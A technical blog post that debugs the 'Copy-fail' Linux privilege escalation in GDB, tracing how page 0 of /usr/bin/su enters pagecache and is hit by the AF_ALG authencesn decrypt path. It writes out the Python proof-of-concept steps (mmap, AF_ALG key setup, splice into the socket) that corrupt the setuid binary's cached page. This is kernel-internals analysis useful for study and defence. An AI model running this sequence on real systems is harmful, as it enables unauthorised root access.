Old-school debugging Copy-fail: reconstructing pagecache, memcg, MGLRU, and writeback state

by Jia Jia
E-mail: physicalmtea@gmail.com

https://xint.io/blog/copy-fail-linux-distributions already gives the trigger conditions and a fairly detailed walkthrough of the code path.

That is not the part I care about here. What I care about is the kernel-side state and the actual runtime scene. From that angle, a pure code-flow analysis is not very useful by itself. To be clear, I am saying "not very useful by itself", not "useless".

The xint.io analysis says that Copy-fail is not a traditional race condition and does not rely on timing windows. I agree with the first part. The second part needs more precision. There is no timing issue in the trigger condition itself, but there is still a timing window at the mechanism level. Once the modified object exists as a clean page in pagecache without PG_dirty set, it simply will not go through the normal writeback path and will not be flushed to disk. However, it is still on LRU / MGLRU, and in some cases it can be selected by direct reclaim or kswapd through vmscan. Once it is evicted as a clean page, the in-memory modification disappears as well, the PTE mapping is broken, and the next access will fault the original content back in from disk. The attack then fails. It is just that the exploit published by xint.io compresses this window heavily.

The xint.io article also compares this with Dirty COW. Their comparison focuses on success rate and the fact that this does not require a race condition. From my perspective, although the trigger conditions are different, the final attack object is the same: both ultimately write a file-backed page in pagecache. The difference is that after Dirty COW writes, it can go through the normal storage-stack semantics and flush the dirty page to disk. If I had to summarize Dirty COW from the kernel-mechanism perspective in one sentence, it would be: "By repeatedly evicting the anonymous page created by COW, the PTE becomes NULL and forces the GUP API to retry; during that retry flow, based on flags, it incorrectly selects the target page from pagecache and rebuilds the PTE as R/W, thereby bypassing the VMA permission check."

Some articles claim that this LPE has a 100% success rate when the target configuration satisfies the trigger conditions. I do not know whether that was concluded from repeated testing or from reasoning about the mechanism. My view is that the attack window is heavily compressed because the exploit first accesses the target page of /usr/bin/su and pulls it into pagecache. It then immediately uses splice(file -> pipe) to bring the same file-backed page into the pipe/socket path. While that path holds a page ref, ordinary reclaim cannot drop the physical page directly. After the splice/socket path releases the reference, the page is still a clean file-backed page and will not be written back normally. In theory, it can still be evicted by kswapd or direct reclaim through vmscan. But this file-backed page has just been brought into pagecache by a page fault/read, so it is a recently accessed file page. MGLRU aging normally will not immediately move it into the oldest/cold generation corresponding to the current min_seq, so it is unlikely to be selected for reclaim in the short term. This pagecache lifetime window is already compressed enough that, in most scenarios, it is

sufficient. I think that is why some articles describe the success rate as 100%; the wording may be a little strong, but in common environments it is not unreasonable.

The goal of the following debugging session is to observe the related mechanisms step by step while the exploit runs, and to reconstruct the kernel-side scene. I will try to include all relevant mechanisms in this debugging note.

Brief prerequisites and terminology:

When reading or writing a real file, except when Direct I/O is explicitly requested, if the file has never been accessed before (PTE = NULL; no physical page allocated), the kernel will establish the PTE mapping and allocate a physical page from the buddy system, then attach the relevant page to the filesystem cache. Later accesses to the same file will first look it up in that cache; if found, the kernel returns it directly, otherwise it issues disk I/O. This file-system cache is pagecache.

The physical pages managed and stored by pagecache are called file-backed pages, as opposed to anonymous pages. Anonymous pages are mainly physical pages allocated for stack / heap, use anon rmap, and can be swapped if necessary and if swap is enabled.

A file-backed page hangs under the inode's struct address_space and is managed by the i_pages XArray. In older kernels this used to be the radix tree.

LRU / MGLRU is responsible for hot/cold generation tracking and page selection for both file-backed pages and anonymous pages.

vmscan and direct reclaim operate on the same set of physical pages, but they are different paths. The former is more of a background path through kswapd, scanning pages asynchronously and globally. The latter runs synchronously in the allocation path, based on physical-memory watermarks and memcg (memory cgroup) pressure. In other words, they operate on the same reclaimable physical pages, but are triggered at different times and run in different contexts.

The key action of this PoC is to first make page 0 of /usr/bin/su enter pagecache as a file-backed page, and then use the AF_ALG authencesn(hmac(sha256),cbc(aes)) decrypt path to modify four extra bytes at the tail of that same page starting at offset 0xff0.

pagecache is managed by XArray. MGLRU is the policy layer that handles page selection and generation management. If a page is clean, reclaim can detach it directly from pagecache without going through the storage backend. If a page is dirty, reclaim cannot simply discard it like a clean page; it has to deal with writeback semantics. Anonymous pages do not follow this address_space / XArray file path. They have no inode / address_space / XArray association and use a different anon reclaim path.

Reproduction environment:

First create a normal user (jia uid = 1000) to run the PoC.

```
jia@(none):~$ id

uid=1000(jia) gid=1000(jia) groups=1000(jia)

jia@(none):~$ stat -c '%i %n' /usr/bin/su

1882 /usr/bin/su
```

To reduce noise, in GDB, whether I look at vmf->vma->vm_file->f_inode->i_ino or page->mapping->host->i_ino, it must match inode 1882.

```
jia@(none):~$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

sudo: unable to resolve host (none): Name or service not known
[  230.367438] sh (110): drop_caches: 3
```

Clear pagecache first, so that before the first fault the relevant physical page for /usr/bin/su is not already present in pagecache.

```
jia@(none):~$ sudo mkdir -p /sys/fs/cgroup/su-demo

sudo: unable to resolve host (none): Name or service not known
```

Create a child cgroup named su-demo under cgroup v2.

```
jia@(none):~$ sudo sh -c "printf '+memory' > /sys/fs/cgroup/cgroup.subtree_control" || true

sudo: unable to resolve host (none): Name or service not known
```

Enable the memory controller. Later, after the PoC process is written into su-demo/cgroup.procs, the pages created by that process will be charged to su-demo.

```
jia@(none):~$ echo $$ | sudo tee /sys/fs/cgroup/su-demo/cgroup.procs >/dev/null
```

At this point, the pagecache, memcg, and MGLRU state we observe will mostly be related to the PoC. This is only to reduce noise.

```
jia@(none):~$ python3 -q
>>> import ctypes, mmap, os, socket, struct, time
>>> SOL_ALG=279; ALG_SET_KEY=1; ALG_SET_IV=2; ALG_SET_OP=3; ALG_SET_AEAD_ASSOCLEN=4;
ALG_SET_AEAD_AUTHSIZE=5; ALG_OP_DECRYPT=0; CRYPTO_AUTHENC_KEYA_PARAM=1
>>> print('READY pid=%d uid=%d gid=%d' % (os.getpid(), os.getuid(), os.getgid()))
READY pid=98 uid=1000 gid=1000
```

Start debugging:

Set conditional breakpoints in GDB at the relevant places. This lets us directly observe the first page fault, pagecache insertion, crypto hit, XArray, memcg / MGLRU, and finally return to user space.

```
(gdb) b handle_mm_fault if vma->vm_file && vma->vm_file->f_inode &&
vma->vm_file->f_inode->i_ino == 1882

Breakpoint 6 at 0xffffffff818ebf20: file mm/memory.c, line 6331.
```

This is the entry point of the first page fault. Only watch inode 1882, i.e. faults on /usr/bin/su.

```
(gdb) b filemap_fault if vmf->vma->vm_file && vmf->vma->vm_file->f_inode &&
vmf->vma->vm_file->f_inode->i_ino == 1882

Breakpoint 7 at 0xffffffff8180ca60: file mm/filemap.c, line 3404.
```

This step observes how mapping->i_pages is populated after the page fault.

```
(gdb) b __filemap_add_folio if mapping && mapping->host && mapping->host->i_ino == 1882

Breakpoint 8 at 0xffffffff818086e0: file mm/filemap.c, line 859.
```

This shows that the physical page allocated for /usr/bin/su is being inserted into XArray.

```
(gdb) b finish_fault if vmf->vma->vm_file && vmf->vma->vm_file->f_inode &&
vmf->vma->vm_file->f_inode->i_ino == 1882

Breakpoint 9 at 0xffffffff818e7ab0: file mm/memory.c, line 5343.
```

This lets us directly observe the two pagewalk states:

First: at handle_mm_fault, the PTE is NULL.
Second: after the physical page has been inserted into pagecache, the PTE for the same VA points to the same PFN.

```
(gdb) b aead_recvmsg

Breakpoint 4 at 0xffffffff8216f340: file crypto/algif_aead.c, line 296.
```

This is convenient for stitching together the call chain from the syscall to crypto.

```
(gdb) b crypto_authenc_esn_decrypt

Breakpoint 5 at 0xffffffff8215f430: file crypto/authencesn.c, line 244.
```

This is where we will later follow req and the scatterlist to resolve the struct page (folio).

```
(gdb) i b

Num     Type           Disp Enb Address            What
4       breakpoint     keep y   0xffffffff8216f340 in aead_recvmsg at crypto/algif_aead.c:296
5       breakpoint     keep y   0xffffffff8215f430 in crypto_authenc_esn_decrypt at
crypto/authencesn.c:244
6       breakpoint     keep y   0xffffffff818ebf20 in handle_mm_fault at mm/memory.c:6331
        stop only if vma->vm_file && vma->vm_file->f_inode && vma->vm_file->f_inode->i_ino ==
1882
7       breakpoint     keep y   0xffffffff8180ca60 in filemap_fault at mm/filemap.c:3404
        stop only if vmf->vma->vm_file && vmf->vma->vm_file->f_inode &&
vmf->vma->vm_file->f_inode->i_ino == 1882
8       breakpoint     keep y   0xffffffff818086e0 in __filemap_add_folio at mm/filemap.c:859
        stop only if mapping && mapping->host && mapping->host->i_ino == 1882
9       breakpoint     keep y   0xffffffff818e7ab0 in finish_fault at mm/memory.c:5343
        stop only if vmf->vma->vm_file && vmf->vma->vm_file->f_inode &&
vmf->vma->vm_file->f_inode->i_ino == 1882
```

Everything above is preparation. Now we really create the 4K private mapping of /usr/bin/su and read it for the first time. Note: at this point, the PTE is still NULL and pagecache is still empty.

```
>>> target_file='/usr/bin/su'
>>> fd_target=os.open(target_file, os.O_RDONLY)
>>> mm=mmap.mmap(fd_target, 4096, access=mmap.ACCESS_COPY)
>>> mapped_va=ctypes.addressof(ctypes.c_char.from_buffer(mm))
>>> print('MMAP_VA=0x%x' % mapped_va)
MMAP_VA=0x7f565f5a5000
>>> before_page=bytes(mm[:4096])
```

At this point, the first read of mm[:4096] happens. 0x7f565f5a5000 is the VA of page 0 of /usr/bin/su in this run.

```
(gdb) bt 6

#0  handle_mm_fault (vma=vma@entry=0xffff88800b1ccdc0, address=address@entry=140008943669248,
flags=4692, regs=regs@entry=0xffffc9000082ff58) at mm/memory.c:6331
#1  0xffffffff8133972f in do_user_addr_fault (regs=regs@entry=0xffffc9000082ff58,
error_code=error_code@entry=4, address=address@entry=140008943669248) at
arch/x86/mm/fault.c:1336
#2  0xffffffff843d865d in handle_page_fault (address=140008943669248, error_code=4,
regs=0xffffc9000082ff58) at arch/x86/mm/fault.c:1476
#3  exc_page_fault (regs=0xffffc9000082ff58, error_code=4) at arch/x86/mm/fault.c:1532
```

```
#4  0xffffffff810012a6 in asm_exc_page_fault () at ./arch/x86/include/asm/idtentry.h:623
#5  0x00005576f483c320 in ?? ()
```

```
(gdb) p vma->vm_file->f_path.dentry->d_name.name
```

```
$56 = (const unsigned char *) 0xffff8880073efaf0 "su"
```

Confirm the target filename is su.

```
(gdb) p/x address
```

```
$57 = 0x7f565f5a5000
```

This address is exactly the same as the MMAP_VA printed by user space, which confirms that this is indeed the first access fault.

```
(gdb) p/x flags
```

```
$58 = 0x1254
```

This page fault is a read fault, not a private write fault.

```
(gdb) p/x vma->vm_mm
```

```
$60 = 0xffff888009c64e40
```

This is the user address space of pid 98.

```
(gdb) p/x vma->vm_file->f_mapping
```

```
$62 = 0xffff8880073df348
```

This is the struct address_space corresponding to /usr/bin/su. Later XArray, xa_head, slot, and nrpages are all centered around this mapping.

```
(gdb) p/x vma->vm_start
```

```
$63 = 0x7f565f5a5000
```

```
(gdb) p/x vma->vm_end
```

```
$64 = 0x7f565f5a6000
```

The difference between vm_start and vm_end shows that the mapping length is exactly 4K, matching mmap(fd_target, 4096, access=mmap.ACCESS_COPY) in the script.

```
(gdb) p/x ((address - vma->vm_start) >> 12) + vma->vm_pgoff

$65 = 0x0
```

The page-faulted file page index is 0, i.e. page 0 of /usr/bin/su. The later XArray slot and the sg2 tail offset 0xff0 are both based on this index calculation.

```
(gdb) set $addr=(unsigned long)address
(gdb) set $mm=(struct mm_struct *)vma->vm_mm
(gdb) set $pgd=(unsigned long *)$mm->pgd
(gdb) set $mask=0x000fffffffff000UL

(gdb) p/x $pgd[((unsigned long)$addr >> 39) & 0x1ff]

$66 = 0xafcb067
```

Compute the PGD address.

```
(gdb) set $pgdval=$pgd[((unsigned long)$addr >> 39) & 0x1ff]
(gdb) set $pud=(unsigned long *)((unsigned long)page_offset_base + ($pgdval & $mask))

(gdb) p/x $pud[((unsigned long)$addr >> 30) & 0x1ff]

$67 = 0xafd1067
```

Compute the PUD address.

```
(gdb) set $pudval=$pud[((unsigned long)$addr >> 30) & 0x1ff]
(gdb) set $pmd=(unsigned long *)((unsigned long)page_offset_base + ($pudval & $mask))

(gdb) p/x $pmd[((unsigned long)$addr >> 21) & 0x1ff]

$68 = 0xafcc067
```

Then get the PMD address.

```
(gdb) set $pmdval=$pmd[((unsigned long)$addr >> 21) & 0x1ff]
(gdb) set $pte=(unsigned long *)((unsigned long)page_offset_base + ($pmdval & $mask))
(gdb) p/x $pte[((unsigned long)$addr >> 12) & 0x1ff]

$69 = 0x0
```

The above manually simulates one MMU pagewalk. At this point we can clearly see that when accessing page 0 of /usr/bin/su for the first time, the user PTE corresponding to the VA is still NULL. No PFN has been populated into the user page table yet.

Continue from the generic page fault into filemap_fault. At this point, the page has not entered pagecache yet.

```
(gdb) c

Continuing.

Breakpoint 7, filemap_fault (vmf=0xffffc9000082fda0) at mm/filemap.c:3404
3404    {
```

Now handle_mm_fault has entered the fault handling flow for a file-backed page. Look at vmf again here.

```
(gdb) p vmf->vma->vm_file->f_inode->i_ino

$74 = 1882
```

Same inode 1882, matching the stat result from the beginning.

```
(gdb) p/x vmf->vma->vm_file->f_mapping

$75 = 0xffff8880073df348
```

Same address_space address, which will be the owner of the later pagecache/XArray state.

```
(gdb) p/x vmf->pte

$77 = 0x0
```

At filemap_fault, vmf->pte is still NULL. That means there is still no final user PTE to inspect. The kernel first has to find or create the file-backed page.

```
(gdb) p/x vmf->vma->vm_file->f_mapping->i_pages.xa_head

$78 = 0x0
```

mapping->i_pages.xa_head is still 0. This means pagecache has no existing struct page (folio) at index 0.

```
(gdb) bt 6

#0  filemap_fault (vmf=0xffffc9000082fda0) at mm/filemap.c:3404
#1  0xffffffff818d82a0 in __do_fault (vmf=vmf@entry=0xffffc9000082fda0) at mm/memory.c:5152
#2  0xffffffff818ea893 in do_read_fault (vmf=0xffffc9000082fda0) at mm/memory.c:5573
#3  do_fault (vmf=0xffffc9000082fda0) at mm/memory.c:5707
#4  do_pte_missing (vmf=0xffffc9000082fda0) at mm/memory.c:4234
```

#5 handle_pte_fault (vmf=0xffffc9000082fda0) at mm/memory.c:6052

The call stack is the standard file-backed read fault path.

The function that actually inserts the struct page (folio) into XArray is __filemap_add_folio. This is where the physical page becomes a pagecache page of /usr/bin/su.

(gdb) c

Continuing.

Breakpoint 8, __filemap_add_folio (mapping=mapping@entry=0xffff8880073df348,
folio=folio@entry=0xfffffea00003320c0, index=index@entry=0, gfp=gfp@entry=1125578,
shadowp=shadowp@entry=0xffffc9000082fad8) at mm/filemap.c:859
859   {

Pay attention to index 0. The corresponding struct page (folio) address is 0xfffffea00003320c0. The rest of this analysis will revolve around this object.

(gdb) ptype struct address_space

```
type = struct address_space {
    struct inode *host;
    struct xarray i_pages;
    struct rw_semaphore invalidate_lock;
    gfp_t gfp_mask;
    atomic_t i_mmap_writable;
    struct rb_root_cached i_mmap;
    unsigned long nrpages;
    unsigned long writeback_index;
    const struct address_space_operations *a_ops;
    unsigned long flags;
    errseq_t wb_err;
    spinlock_t i_private_lock;
    struct list_head i_private_list;
    struct rw_semaphore i_mmap_rwsem;
    void *i_private_data;
}
```

The i_pages field in address_space is the XArray used to store pagecache physical pages. The host field is an in-core inode. struct inode has an i_mapping field that points to this address_space, so pagecache is per-inode. Going deeper here would be off topic, so I will stop at that.

(gdb) p/x mapping

```
$79 = 0xffff8880073df348
```

The first argument is still the address_space of /usr/bin/su.

```
(gdb) p/x folio

$80 = 0xffffea00003320c0
```

This is the physical page that will be inserted into pagecache in this run. Keep this address in mind; sg2 will hit the same object later.

```
(gdb) p/x mapping->i_pages.xa_head

$82 = 0x0
```

Before insertion, the XArray head is still empty.

```
(gdb) p/x folio->mapping

$83 = 0x0
```

Before insertion, this physical page folio (struct page) does not belong to this mapping yet.

```
(gdb) p/x folio->index

$84 = 0x30c
```

At this point, folio->index still contains an old value. It has not been changed to the real pagecache index yet.

```
(gdb) p mapping->nrpages

$85 = 0
```

This also shows that before insertion this address_space does not yet contain the corresponding physical page.

```
(gdb) l 857,910

857 noinline int __filemap_add_folio(struct address_space *mapping,
858         struct folio *folio, pgoff_t index, gfp_t gfp, void **shadowp)
859 {
860     XA_STATE_ORDER(xas, &mapping->i_pages, index, folio_order(folio));
...
876     folio_ref_add(folio, nr);
877     folio->mapping = mapping;
```

```
878     folio->index = xas.xa_index;
...
924     xas_store(&xas, folio);
925     if (xas_error(&xas))
926         goto unlock;
928     mapping->nrpages += nr;
```

The relevant source is shown here. The important parts are: associate folio->mapping with this address_space, set folio->index to xas.xa_index, and finally call xas_store at line 924 to attach it to mapping->i_pages, i.e. the XArray.

```
(gdb) until 924

__filemap_add_folio (mapping=mapping@entry=0xffff8880073df348,
folio=folio@entry=0xffffea00003320c0, index=index@entry=0, gfp=76992, gfp@entry=1125578,
shadowp=shadowp@entry=0xffffc9000082fad8) at mm/filemap.c:924
924         xas_store(&xas, folio);

(gdb) p/x mapping->i_pages.xa_head

$88 = 0x0
```

Before xas_store, xa_head is still empty.

```
(gdb) p/x folio->mapping

$89 = 0xffff8880073df348
```

At this point, folio->mapping has already been set to the mapping of /usr/bin/su.

```
(gdb) p/x folio->index

$90 = 0x0
```

folio->index has also been changed to the real pagecache index 0.

```
(gdb) n

925         if (xas_error(&xas))
```

The key xas_store operation has now completed.

```
(gdb) n

928         mapping->nrpages += nr;
```

One more step reaches the nrpages increment.

(gdb) p/x mapping->i_pages.xa_head

$91 = 0xffffea00003320c0

This is the key comparison. After xas_store, xa_head has changed from 0 to 0xffffea00003320c0, which points to the struct page (folio).

(gdb) p/x folio->mapping

$92 = 0xffff8880073df348

The folio is now formally attached under the address_space of /usr/bin/su.

(gdb) p/x folio->index

$93 = 0x0

The index is stable at 0.

(gdb) p mapping->nrpages

$94 = 0

Because I stopped at line 928 itself, the nrpages increment has not executed yet, so it is still 0. xas_store has already inserted the page into XArray, but the nrpages accounting has not yet been updated.

(gdb) c

Continuing.

Breakpoint 8, __filemap_add_folio (mapping=mapping@entry=0xffff8880073df348,
folio=folio@entry=0xffffea0000332100, index=index@entry=1, gfp=gfp@entry=1125578,
shadowp=shadowp@entry=0xffffc9000082fad8) at mm/filemap.c:859
859   {

After continuing, another hit appears immediately for index 1. This does not change the state we care about; this read also pulled in index 1, which is a typical adjacent-page readahead effect. Disable breakpoint 8.

(gdb) disable 8

(gdb) c

Continuing.

At this point, the PTE for the same VA already points to the same PFN, and the newly allocated struct page (folio) has been inserted into the pagecache (XArray) of su. Now fill in how the AF_ALG request reaches that pagecache page.

```
>>> MARK_OFF=4080; WINDOW=32
>>> s_alg=socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
>>> s_alg.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
>>> authkey=b'\x00'*32; enckey=b'\x00'*16
>>> key_param=struct.pack('>I', len(enckey))
>>> rtattr=struct.pack('HH', 8, CRYPTO_AUTHENC_KEYA_PARAM)
>>> key=rtattr + key_param + authkey + enckey
>>> s_alg.setsockopt(SOL_ALG, ALG_SET_KEY, key)
>>> s_alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 16)
>>> s_op,_=s_alg.accept()
>>> print('AFALG_READY')
AFALG_READY
>>> sent=s_op.sendmsg([b'A'*16], [(SOL_ALG, ALG_SET_OP, struct.pack('I', ALG_OP_DECRYPT)),
(SOL_ALG, ALG_SET_IV, struct.pack('I', 16)+b'\x00'*16), (SOL_ALG, ALG_SET_AEAD_ASSOCLEN,
struct.pack('I', 16))], socket.MSG_MORE)
>>> print('SENT', sent)
SENT 16
>>> r_pipe, w_pipe = os.pipe()
>>> os.lseek(fd_target, 0, os.SEEK_SET)
0
>>> sp1=os.splice(fd_target, w_pipe, 4096)
>>> print('SP1', sp1)
SP1 4096
>>> sp2=os.splice(r_pipe, s_op.fileno(), sp1)
>>> print('SP2', sp2)
SP2 4096
>>> print('RECV_START')
RECV_START
>>> out=s_op.recv(4096)
```

The first 16 bytes of 0x41 are sent as AAD. The real page 0 of /usr/bin/su is then passed in through splice file->pipe->AF_ALG socket. The important point is not how many bytes were received, but that the pipe buffer corresponds to a reference to the file-backed page.

```
(gdb) bt 10

#0  aead_recvmsg (sock=0xffff888007375040, msg=0xffffc9000082fd78, ignored=4096, flags=0) at
crypto/algif_aead.c:296
#1  0xffffffff8376b379 in sock_recvmsg_nosec (flags=0, msg=0xffffc9000082fd78,
sock=0xffff888007375040) at net/socket.c:1065
```

```
#2  sock_recvmsg (sock=0xffff888007375040, msg=0xffffc9000082fd78, flags=0) at
net/socket.c:1087
#3  0xffffffff837731af in __sys_recvfrom (fd=<optimized out>, ubuf=<optimized out>,
size=<optimized out>, flags=0, addr=0x0, addr_len=<optimized out>) at net/socket.c:2278
#4  0xffffffff83773390 in __do_sys_recvfrom (addr_len=<optimized out>, addr=<optimized out>,
flags=<optimized out>, size=<optimized out>, ubuf=<optimized out>, fd=<optimized out>) at
net/socket.c:2293
#5  __se_sys_recvfrom (addr_len=<optimized out>, addr=<optimized out>, flags=<optimized out>,
size=<optimized out>, ubuf=<optimized out>, fd=<optimized out>) at net/socket.c:2289
#6  __x64_sys_recvfrom (regs=0xffffc9000082ff58) at net/socket.c:2289
#7  0xffffffff843d48c8 in do_syscall_x64 (nr=<optimized out>, regs=0xffffc9000082ff58) at
arch/x86/entry/syscall_64.c:63
#8  do_syscall_64 (regs=0xffffc9000082ff58, nr=<optimized out>) at
arch/x86/entry/syscall_64.c:94
#9  0xffffffff81000130 in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:121
```

The current call stack shows that the user-space recv eventually calls aead_recvmsg, i.e. the AF_ALG receive path.

```
(gdb) p/x msg

$99 = 0xffffc9000082fd78
```

This is the msghdr address. The req we inspect later is derived from this same recv.

```
(gdb) c

Continuing.

Breakpoint 5, crypto_authenc_esn_decrypt (req=0xffff888007e35290) at crypto/authencesn.c:244
244     {
```

Now we are at the core. Once we decode the scatterlist inside req and resolve the last segment sg2 back to a struct page, the relationship from recv to the su pagecache physical page will be closed.

```
(gdb) p req->assoclen

$100 = 16
```

The AAD length sent earlier is 16.

```
(gdb) p req->cryptlen

$101 = 4084
```

Together with sg2->offset = 4080 and sg2->length = 4, this points to the final four bytes at the tail of the corresponding physical page in pagecache.

```
(gdb) set $sg0=req->dst
(gdb) p/x $sg0

$102 = 0xffff888007e35020
```

Start from the first sg segment in req->dst.

```
(gdb) p/x $sg0->page_link

$103 = 0xffffea0000332040
```

The first sg is 0xffffea0000332040.

```
(gdb) p $sg0->offset

$104 = 2928
```

The in-page offset is 2928.

```
(gdb) p $sg0->length

$105 = 1168
```

The length is 1168.

```
(gdb) set $pg0=(struct page *)($sg0->page_link & ~3UL)
(gdb) p/x $pg0

$106 = 0xffffea0000332040
```

After stripping the low flag bits from page_link, the struct page address points to the same value.

```
(gdb) set $sg1=$sg0+1
(gdb) p/x $sg1

$107 = 0xffff888007e35040
```

Now inspect the second sg segment.

```
(gdb) p/x $sg1->page_link

$108 = 0xffffea0000332000
```

The second segment lands on 0xffffea0000332000.

(gdb) p $sg1->offset

$109 = 0

The in-page offset starts at 0.

(gdb) p $sg1->length

$110 = 2928

The length is 2928. The first two segments add up to exactly 4096, which means there will be a very short tail segment.

(gdb) set $pg1=(struct page *)($sg1->page_link & ~3UL)
(gdb) p/x $pg1

$111 = 0xffffea0000332000

The struct page (folio) for the second segment.

(gdb) p/x (($sg1+1)->page_link)

$112 = 0xffff88800b1c23e1

This still includes the link flag. The real third sg needs another layer of stripping.

(gdb) set $sg2=(struct scatterlist *)(((unsigned long)(($sg1+1)->page_link)) & ~3UL)
(gdb) p/x $sg2

$113 = 0xffff88800b1c23e0

The address of the third sg.

(gdb) p/x $sg2->page_link

$114 = 0xffffea00003320c2

After clearing the low flag bits, this gives the final page.

(gdb) p $sg2->offset

$115 = 4080

The in-page offset is exactly 4080, i.e. 0xff0.

(gdb) p $sg2->length

$116 = 4

The length is exactly four bytes. At this point it already looks like the extra four-byte write at the page tail.

(gdb) set $page=(struct page *)($sg2->page_link & ~3UL)
(gdb) p/x $page

$117 = 0xffffea00003320c0

This is the key point: the struct page (folio) hit by sg2 is exactly the same struct page (folio) that was inserted into /usr/bin/su pagecache earlier by __filemap_add_folio. The address is identical: 0xffffea00003320c0. In other words, the physical page that entered pagecache in the first half and the physical page hit by crypto in the second half are the same physical page.

(gdb) p/x $page->mapping

$118 = 0xffff8880073df348

The mapping of the current struct page (folio) is still the address_space of /usr/bin/su, with the same address as before.

(gdb) set $mapping=(struct address_space *)((unsigned long)$page->mapping & ~3UL)
(gdb) p/x $mapping

$119 = 0xffff8880073df348

After stripping low flag bits, this is still the same mapping.

(gdb) p $mapping->host->i_ino

$120 = 1882

Following mapping->host back gives inode 1882 again. This backward validation confirms that this is the file-backed page of /usr/bin/su.

(gdb) p/x $mapping->i_pages.xa_head

$121 = 0xffff88800738a00a

The XArray head is no longer 0 as it was before insertion; it is now an xa_node pointer. I will not expand the SPARSEMEM VMEMMAP model here.

```
(gdb) set $pfn=((unsigned long)$page - (unsigned long)vmemmap_base) / sizeof(struct page)
(gdb) p/x $pfn

$122 = 0xcc83
```

The PFN is 0xcc83.

```
(gdb) set $pa=$pfn << 12
(gdb) p/x $pa

$123 = 0xcc83000
```

The physical address is 0xcc83000.

```
(gdb) set $kva=(void *)((unsigned long)page_offset_base + $pa)
(gdb) p/x $kva

$124 = 0xffff88800cc83000
```

Translate the PA back to the direct-map KVA. Later we can inspect the same tail bytes through both KVA and PA.

```
(gdb) x/16bx $kva+0xff0

0xffff88800cc83ff0:  0x01  0x00  0x00  0x00  0x22  0x00  0x00  0x00
0xffff88800cc83ff8:  0x00  0x00  0x00  0x00  0x00  0x00  0x00  0x00
```

Before the write, the tail still contains 01 00 00 00 22 00 00 00..., matching exactly what user space saw earlier. If pagecache is really modified later, this location will show it first.

Before letting the write happen, inspect page flags, XArray slot, memcg, MGLRU, and the user PTE.

```
(gdb) p/x $page->flags

$125 = 0x16000000000082c
```

This is the raw flags value. We will use it to inspect PG_dirty, PG_writeback, PG_lru, and PG_workingset.

```
(gdb) p/x PG_dirty
```

```
$126 = 0x4

(gdb) p/x PG_writeback

$127 = 0x1

(gdb) p/x PG_lru

$128 = 0x5

(gdb) p/x PG_workingset

$129 = 0x9

(gdb) p/x ($page->flags & (1UL << PG_dirty))

$130 = 0x0
```

This shows that before the write, the dirty bit is not set on this physical page. It is not a dirty page.

```
(gdb) p/x ($page->flags & (1UL << PG_writeback))

$131 = 0x0
```

Before the write, it is not under writeback either.

```
(gdb) p/x ($page->flags & (1UL << PG_lru))

$132 = 0x20
```

PG_lru is set, which means it is on MGLRU.

```
(gdb) p/x ($page->flags & (1UL << PG_workingset))

$133 = 0x0
```

At this moment it is not a workingset page.

```
(gdb) set $addr=(unsigned long)0x7f565f5a5000
(gdb) set $pgd=(unsigned long *)$t->mm->pgd
(gdb) set $mask=0x000fffffffff000UL
(gdb) set $pgdval=$pgd[((unsigned long)$addr >> 39) & 0x1ff]
(gdb) set $pud=(unsigned long *)((unsigned long)page_offset_base + ($pgdval & $mask))
(gdb) set $pudval=$pud[((unsigned long)$addr >> 30) & 0x1ff]
(gdb) set $pmd=(unsigned long *)((unsigned long)page_offset_base + ($pudval & $mask))
```

```
(gdb) set $pmdval=$pmd[((unsigned long)$addr >> 21) & 0x1ff]
(gdb) set $pte=(unsigned long *)((unsigned long)page_offset_base + ($pmdval & $mask))

(gdb) p/x $pte[((unsigned long)$addr >> 12) & 0x1ff]

$138 = 0x800000000cc83025
```

Manually pagewalk the same VA again. Now the final PTE is visible. It is no longer NULL; it is 0x800000000cc83025.

```
(gdb) set $pteval=$pte[((unsigned long)$addr >> 12) & 0x1ff]
(gdb) p/x ($pteval >> 12)

$139 = 0x800000000cc83
```

After shifting the PTE right by 12, this PFN matches the PFN 0xcc83 of the physical page attached to pagecache. In other words, this user-space VA now really points to the pagecache physical page of /usr/bin/su.

```
(gdb) p/x ($pteval & 0x40)

$140 = 0x0
```

Note: the PTE dirty bit is still 0.

```
(gdb) p/x ($pteval & 0x20)

$141 = 0x20
```

But the accessed bit is set, which shows it has just been accessed.

```
(gdb) p/x ($pteval & 0x2)

$142 = 0x0
```

The PTE is not writable either, which matches a private, read-only file-backed page.

```
(gdb) set $xa_head=(void *)$mapping->i_pages.xa_head
(gdb) p/x $xa_head

$149 = 0xffff88800738a00a
```

The XArray head is now a node pointer.

```
(gdb) set $node=(struct xa_node *)((unsigned long)$xa_head - 2)
(gdb) p/x $node
```

$150 = 0xffff88800738a008

After stripping the low flag bits, the real xa_node address is 0xffff88800738a008.

(gdb) p $node->shift

$151 = 0 '\000'

shift is 0, which means we are looking at the bottom-level slot.

(gdb) set $slot_index=($page->__folio_index >> $node->shift) & 63
(gdb) p $slot_index

$152 = 0

Because this physical page is index 0, the XArray slot index is naturally also 0.

(gdb) p/x $node->slots[$slot_index]

$153 = 0xffffea00003320c0

XArray slot 0 contains exactly the current physical page. That is, slot 0 of the XArray under the address_space of /usr/bin/su really is 0xffffea00003320c0.

(gdb) set $folio=(struct folio *)$page
(gdb) p/x $folio->memcg_data

$154 = 0xffff888006fd4740

Now inspect memcg.

(gdb) set $memcg=(struct mem_cgroup *)($folio->memcg_data & ~3UL)
(gdb) p/x $memcg

$155 = 0xffff888006fd4740

After stripping flags, this is the memcg address.

(gdb) p $memcg->css.id

$156 = 2

css.id = 2, which means this is not the root memcg.

(gdb) p/x $memcg->css.flags

```
$157 = 0xa
```

The flags can be compared later to confirm this memcg.

```
(gdb) p $memcg->css.cgroup->kn->name

$158 = 0xffff8880077f5008 "su-demo"
```

This step is important. The name is the su-demo cgroup created earlier. The pagecache page is now clearly charged to the manually created memcg, not to the root cgroup.

```
(gdb) p/x $memcg->css.parent

$159 = 0xffff888006fd4040
```

The parent memcg.

```
(gdb) set $pmemcg=(struct mem_cgroup *)$memcg->css.parent
(gdb) p $pmemcg->css.id

$160 = 1
```

The parent css.id is 1, i.e. the root memcg.

```
(gdb) p/x $pmemcg->css.flags

$161 = 0xb
```

Parent flags. I will not expand them further.

```
(gdb) p $pmemcg->css.cgroup->kn->name

$162 = 0xffffffff845173e0 ""
```

